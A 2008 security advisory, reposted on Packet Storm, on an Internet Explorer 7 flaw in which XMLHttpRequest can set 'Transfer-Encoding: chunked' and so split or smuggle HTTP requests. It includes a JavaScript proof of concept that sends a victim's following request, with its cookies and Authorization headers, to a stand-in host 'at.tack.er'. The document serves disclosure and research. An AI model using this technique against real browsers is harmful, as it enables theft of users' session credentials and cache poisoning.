exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MSA01240108.txt

MSA01240108.txt
Posted Mar 21, 2008
Authored by Stefano Di Paola | Site mindedsecurity.com

Internet Explorer 7 allows the setting of header "Transfer Encoding: chunked" in setRequestHeader exposing the browser to HTTP request splitting/smuggling attacks.

tags | advisory, web
SHA-256 | 27996f8ad05851a84e1ef28e49b50bfdf6fdaa29d8a9736f6f788a883dbc9cff

MSA01240108.txt

Change Mirror Download
MSA01240108: 
IE7 Transfer-Encoding: chunked allows Request Splitting/Smuggling.

Date: March 21th, 2008

Tested Versions:
Internet Explorer 7.0.5730.11

Tested OS:
Windows XP Professional SP2 Italian

Minded Security ReferenceID:
MSA01240108

Credits:
Discovery by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com

Severity: Medium/High

Permalink:
http://www.mindedsecurity.com/MSA01240108.html

[ Summary ]

Internet Explorer 7 allows setting of header "Transfer Encoding:
chunked" in setRequestHeader exposing the browser to Http Request
Splitting/Smuggling attacks.


[ Analysis ]

Let's suppose the following scenery (which is not necessarily the only
one).

- A site vulnerable to reflected Xss is hosted on the same host of
an attacker site.
- User has no proxy configured.

As IE7 allows setting

setRequestHeader("Transfer-Encoding","chunked");

so, it allows using the payload in a POST request which will be
considered as another request by the web server.

For example:

-----------------------------------------------------
var x=new XMLHttpRequest();

for(var i =0; i<1;i++){
x.open("POST","/");
x.setRequestHeader("Transfer-Encoding","chunked");

x.setRequestHeader("Proxy-Connection","keep-alive");
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){
}
}
try{
x.send("0\r\n\r\nPOST / HTTP/1.1\r\nHost:
at.tack.er\r\nContent-Length: SOMELENGTH\r\n\r\n") }catch(r){} }
-----------------------------------------------------

the request will become:
----------------------------------------------------
POST / HTTP/1.1
Accept: */*
Accept-Language: it
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Referer: http://vi.ct.im/
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: at.tack.er
Content-Length: 67

0

POST /?Send1 HTTP/1.1
Host: at.tack.er
Content-Length: TheLenghtOfTheNextRequest
----------------------------------------------------

That way, the web server, will wait for the payload, keeping the
socket open.

Infact RFC 2616 says that :
---------
If a message is received with both a Transfer-Encoding header
field and a Content-Length header field, the latter MUST be
ignored.
---------

So the payload will be parsed as chunked.

Then, by forcing IE to perform several requests on the victim
host, the browser will reuse the previous (open) socket, thus
sending the request as payload to the attacker site.

When at.tack.er host receives the request, there are several attacks,
it could perform:

1. Stealing the headers of the request to vi.ct.im host (httponly
cookies, Authorization data..)
2. Perform local cache poisoning by using Expire: header from the
attacker poisoned page.

A proof of concept was developed.

Keep in mind that several other sceneries could be abused as well
(see references).


[ Credits ]

Stefano di Paola is credited with the discovery of this vulnerability.

[ Thanks ]

To Amit Klein for his valuable research.

[ Disclosure Timeline ]

25/01/2008 Initial vendor notification
25/01/2008 Vendor Confirmed
21/03/2008 Public advisory


[ Reference ]

[1] "Http Request Smuggling", Chaim Linhart, Amit Klein, Ronen
Heled, Steve Orrin, 2005.
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

[2] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
and a lot more...", Amit Klein, 2005.
http://www.securityfocus.com/archive/1/411585

[3] "HTTP Header Injection Vulnerabilities in the Flash Player
Plugin", 2006.
http://download2.rapid7.com/r7-0026/

[4] "Auto Injecting Cross Domain Scripting", pp 6-7, Stefano Di Paola,
Giorgio Fedon, 2007
http://www.wisec.it/docs.php?id=4


[ Disclaimer ]

The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information.
Any use of this information is at the user's own risk.

Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com
for permission.



Copyright (c) 2008 Minded Security, S.r.l..

All rights reserved worldwide.


--
---
Research Labs
Minded Security S.r.l.

Web: http://www.mindedsecurity.com

Mail: research_at_mindedsecurity.com


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close